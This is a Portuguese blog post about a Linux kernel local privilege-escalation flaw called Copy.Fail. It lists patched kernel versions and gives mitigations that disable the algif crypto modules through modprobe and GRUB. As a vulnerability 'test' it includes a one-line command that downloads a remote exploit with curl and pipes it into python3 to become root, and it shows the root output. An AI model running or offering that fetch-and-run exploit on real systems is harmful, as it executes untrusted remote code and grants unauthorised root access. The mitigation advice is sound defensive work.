Copy.Fail

O que sabemos

Todos os kernels linux de 2017 até 2026, antes da versão 7.0 estão com essa vulnerabilidade.

Em resumo, do resumo, do resumo, entenda que com um usuário normal no linux você consegue – via exploit – virar root com um comando de uma linha.

Desde 2003 usando Linux eu nunca tinha visto algo assim.

O site com os detalhes:

O que ele afeta?

Ele é sensível especialmente em:

Além do servidor onde mais afeta?

Ou seja vai de servidor, a celular, tv, relógio e embarcados.

Aprofundando

Em breve, equanto isso leia https://copy.fail.

Tem algum kernel seguro?

A partir das versões abaixo o uso é seguro

=> 5.10.254 through 5.10.* 
=> 5.15.204 through 5.15.* 
=> 6.1.170 through 6.1.* 
=> 6.6.137 through 6.6.* 
=> 6.12.85 through 6.12.* 
=> 6.18.22 through 6.18.* 
=> 6.19.12 through 6.19.* 
=> 7.0

Já tem correções das distros?

O kernel já havia corrigido quando divulgaram, mas as distros não foram avisadas.

Infelizmente os pesquisadores só avisaram o projeto kernel. Eles até esperaram eles corrigirem e lançarem novas versões, mas não avisaram os times dev das distros, e isso gerou um caos danado desde a última quinta-feira.

É prática esperar as distros principais publicarem correções antes de soltar a falha e especialmente o exploit.

As distros estão trabalhando na correção, algumas já lançaram, outras estão terminando os pacotes.

Assim que souber algo de Debian/Ubuntu/Suse/Redhat eu aviso aqui e coloco os links para checar dados do CVE e correções.

Esse post será atualizado constantemente, volte para ver as novidades.

Como testar se estamos vulneravéis?

Basta rodar a linha de comando abaixo:

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Dá medo, frio na barriga, mas acontece mesmo.

Como contornar o problema?

Forma simples e rápida

Rode isso tem todos os nós linux que você tem, use sua automação.

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

E remova o módulo caso esteja carregado

rmmod algif_aead 2>/dev/null || true

Isso já vai bloquear o principal módulo do kernel que permite a falha e descarregar o módulo caso esteja carregado.

Começe pelas máquinas que você tem IP Público e acesso SSH, depois comece a mitigar as máquinas com IP Privado da rede interna.

Priorize primeiro as máquinas que usuários normais tem acesso ssh/bash no sistema, aqui o perigo é real e certo.

Bloqueando todos os módulos algif

Para bloquear todos os módulos da família algif, crie o arquivo abaixo:

$ vim /etc/modprobe.d/blacklist-crypto-user-api.conf

Insira o conteúdo

  blacklist af_alg
  blacklist algif_hash
  blacklist algif_skcipher
  blacklist algif_rng
  blacklist algif_aead

  install af_alg /bin/false
  install algif_hash /bin/false
  install algif_skcipher /bin/false
  install algif_rng /bin/false
  install algif_aead /bin/false

Reconstrua o initrd

$ update-initramfs -u
$ reboot (se possível for)

Mesmo se não puder rebootar, no próximo boot seu kernel já estará protegido.

Protegendo seu boot

Aqui vamos bloquear o carregamento dos módulos no processo de boot, via grub, atuando em outra camada do sistema.

vim /etc/default/grub

ajuste a linha GRUBCMDLINELINUXDEFAULT adicionando essa parte de moduleblacklist

GRUB_CMDLINE_LINUX_DEFAULT="module_blacklist=bnxt_re
,rndis_host,af_alg,algif_hash,algif_skcipher,algif_rng,algif_aead"

atualize a configuraçao do grub

update-grub
reboot (se possível)

Mesmo se não puder rebootar, no próximo boot esses módulos não serão carregados por padrão.

Afeta Containers e Kubernetes?

Pode afetar, aqui um exemplo que você pode testar em seu cluster.

Entre em todos os nodes de todos os seus clusters K8S e faça a mitigação até que os pacotes atualizados do kernel e dependências sejam disponibilizados.

Harvester

Se voce usa Harvester/RKE/Kubevirt para virtualização, veja a documentação de como mitigar.

Amarrando as pontas

Acompanhe o site da sua distro para novidades.

Mantenha seus pacotes atualizados, especialmente o kernel.

Acompanhe as comunidades de sec sobre o problema.

Use sua automação para ganhar tempo na correção.

Debian

Ubuntu

Alma

Rocky

RedHat

Suse

ArchLinux

Outras referências

[s] Guto

Gostou do conteúdo?

Você também me encontra nessas redes!

Mastodon

@gutocarvalho@bolha.us

PixelFed

@gutocarvalho@bolha.photos

Lemmy

@gutocarvalho@bolha.forum

WriteFreely

@gutocarvalho@bolha.blog @notamental@bolha.blog @poesias@bolha.blog @contos@bolha.blog

Bookwyrm

@gutocarvalho@bolha.review

Peertube

@gutocarvalho@bolha.tube

Friendica

@gutocarvalho@bolha.network

Quer saber mais sobre mim?

Visite meus sites!

E meus blogs:

Conhece o Coletivo Bolha?

Então vem conhecer o bolha.io ou bolhaverso!

Nós temos muito mais para compartilhar contigo!

Quer apoiar nosso trabalho? Você pode!

Te vejo no mastodon da bolha.us!

[s]